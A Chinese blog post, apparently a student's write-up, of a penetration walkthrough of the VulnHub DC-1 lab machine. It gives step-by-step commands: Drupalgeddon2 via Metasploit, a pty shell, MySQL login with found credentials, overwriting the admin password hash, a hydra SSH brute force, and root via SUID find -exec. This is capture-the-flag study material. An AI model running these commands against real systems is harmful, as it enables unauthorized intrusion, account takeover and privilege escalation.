DC-1靶机的渗透学习

Posted 里丘

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-1靶机的渗透学习相关的知识,希望对你有一定的参考价值。

一、靶机的环境搭配

    攻击机(KALI):192.168.226.129

     靶机(DC-1):    192.168.226.131(未知)

     靶机地址:https://www.vulnhub.com/entry/dc-1,292/

二、战前准备

  要求:攻击机和靶机在同一网段下,使用NAT模式 

    1、找到kali的IP地址,用nmap扫描同一网段找到靶机的IP

  

一般扫描出来的在中间而129是kali的,所以可以确定的是靶机的地址是192.168.226.131

通过mac地址也能确定

2、IP地址拿到手让我们kk开放了哪些端口

nmap -T4 -sV -O -A -p 80,445,22,139 192.168.226.131
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口)

我们发现80、22、111端口、

80端口打开所以可以访问网站       22号端口代表可以访问ssh服务(远程连接)

3、登录192.168.226.131

使用Firefox插件Wappalyzer查看到如下网页信息
三大php CMS网站:Drupal、 Wordpress、Joomla

发现了3个重要信息  服务器采用的是drupal内容管理系统且版本低,可以作为渗透的方向

由于不知道账号密码不建议采用sql注入

4、查看网站目录

dirb http://192.168.226.131

5、当我们知道他是drupal的时候先去查看robots.txt有什么有用的信息

robots.txt   互联网道德协议,约定爬虫哪些东西不能爬取,但是不能爬取也暴露了哪些就是重要信息,一般存放在根目录下

知道了Drupal的版本为7.X后,就可以开始进行漏洞利用了,Drupal 7.X版本有远程代码执行漏洞

6、百度获知drupal7.x的版本漏洞及攻击方式

三、开始渗透

一、flag1

打开msf  输入msfconsole、搜索search drupal漏洞

msfconsole  打开msf
search drupal  搜索drupal漏洞

 2、选择2018年的载荷由第二部份的信息收集得出

查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS

use exploit/unix/webapp/drupal_drupalgeddon2  
show options 查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS

3、输入靶机IP地址,开始攻击

set RHOSTS 192.168.226.131  靶机的IP
exploit 开始执行

 4、取得meterpreter,拥有了部分操控权限,让我们看看有什么

找到了flag1打开kk

翻译为  每个好的CMS都需要一个配置文件——你也是。

二、flag2

drupal的配置文件在网站根目录下的/site/defaultx下的setting.php文件中

三、flag3

1、反弹shel的制作

在这里我们找到了3样东西  flag2、提示:最好不要用暴力破解、数据库账号密码

但是我们发现mysql不能直接使用

所以我们需要一个交互式shell、进入shell查看netstat -ano

我们查看到 3306号端口只允许本地访问,而3306是mysql的默认端口看来我们更加得要获取一个交互式shell了,我们用python做一个反弹shell,如果执行不了先退出shell(ctrl+c) 在重新进入shell执行

shell 启动shell 执行行命令
python -c 'import pty;pty.spawn("/bin/bash")' 获取交互式shell,使其可执行MySQL语句
mysql -udbuser -pR0ck3t 进入MySQL

开始进入到mysql数据库里面去

 2、查看管理员账户

show databases;    显示所有数据库
use drupaldb;    选择当前数据库为dr库
show tables;   显示所以数据表
select * from users;  显示users表中所有内容,查找管理员账户

我们发现了管理员账户但是密码是明文加密

3、修改管理员密码

我们有两种方法,一种是增加一个管理员

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

首先查看的是Drupal版本,确定Drupal版本为7.24

$ cat /var/www/includes/bootstrap.inc | grep VERSION  查看版本信息
searchsploit drupal 查看命令
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2  -p  admin2 开始增加管理员用户

 方法二、用drupal的加密脚本加密,脚本在根目录下的scripts

首先退出MySQL,重新进入交互式shell,然后两段cd回到根目录,然后获得hash码

ctrl+c 退出MySQL
shell  进入shell
python -c 'import pty; pty.spawn("/bin/bash")'  重新取得交互式shell
php scripts/password-hash.sh admin1  后面的是你设置的密码

 重新进入数据库改写密码

mysql -udbuser -pR0ck3t  进入MYSQL
use drupaldb;  进入数据库
update drupaldb.users set pass="$S$DLIv1o1oUwharU.lo9EjQ7LEkmB9EDreSUHbWVH.A8mUO6o66LOc" where name="admin";
<arU.lo9EjQ7LEkmB9EDreSUHbWVH.A8mUO6o66LOc" where name="admin"; 修改密码

 注意pass后面跟你的加密密码明文,第二段为$后第十二个字开始输,找这个教程把我找吐了,最后看了半天才找到规律,但是一直不知道原理和句子结构是啥

 使用获取得到的管理员登录浏览器找到flag3

四、flag4 

flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow,还提到了find、perms、-exec,这几个是提权用的。

先用find找下flag的信息  

 find / -name "*flag*" find的命令是查找的意思,在这里查找有关flag的文件

 我们发现一个flag4和th的文本文件,th在root用户下面需要提权到root

我们来查看提示的/etc/passwd和/etc/shadow 的内容

cat  /etc/passwd

找到了flag4 这个用户,并且它有/bin/bash权限,所以可以用来提权它
使用find命令查找有特殊权限suid的命令     

find / -perm -4000 查找具有SUID权限的文件,4000是SUID的代号
SUID文件:给予访问者这个文件的临时权限,如果权限为root的话当访问者调用这个程序时访问者权限临时变为root

我们看到find这个命令刚好是SUID文件,所以我们可以通过find提权(flag3也有提示)

前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra进行密码的暴力猜解 找到密码orange

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.226.131 ssh

使用得到用户名密码【 flag4/orange】,登录靶机也可以用kali远程连接sshflag4@192.168.226.131  我们发现是发现是“$”(普通权限),而不是“#”(root权限),需要使用find命令提权为root

 查看找到flag4.txt文件提示还有一个在根目录下

五、thefinalflag.txt

由前面知影子文件打不开所以需要提权

find / -name 233 -exec "/bin/sh" \\; 提权
name 指定233文件也可以touch自己创一个,/bin/sh调用shell
whoami 查看权限
cd /root 进入root
ls 列出文件
cat thefinalflag.txt 查看

四、总结

flag1根目录下/var/www用msf的2018模块入侵
flag2根目录下/site/defaultxcat查看
flag3网页content里看到用获取到账号密码登录
flag4/home/flag4find / -name "*flag"
thefinalflag.txt/rootfind / -name "*flag"

不足点

1、msf不懂,不知道选取哪个载荷,怎么攻击

2、思路不够顺畅,经常会卡半天

3、shell脚本构造原理不懂

4、工具使用不熟悉、drpal相关了解太少 

最后学到了点个关注

知识点

/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等、shadow文件存储Linux用户的密码信息,只有root用户有权限读取此文件

SUID 给予访问者文件的权限,4000是SUID的代码,所以可以用find提权

find命令配合-exec选项提权;在执行这条指令必须指定外壳为/bin/sh,经过尝试/bin/bash等其他外壳拿到的不是root权限。name后跟一个文件名,可以指定自己创建的   touch 1

以上是关于DC-1靶机的渗透学习的主要内容,如果未能解决你的问题,请参考以下文章

靶机渗透DC-1

渗透测试学习之靶机DC-2

DC-1靶机渗透(教程以及思路)

Vulnhub靶场渗透-DC-1

vulnhub渗透记录1(DC-1&DC-2)

DC-9 靶机渗透测试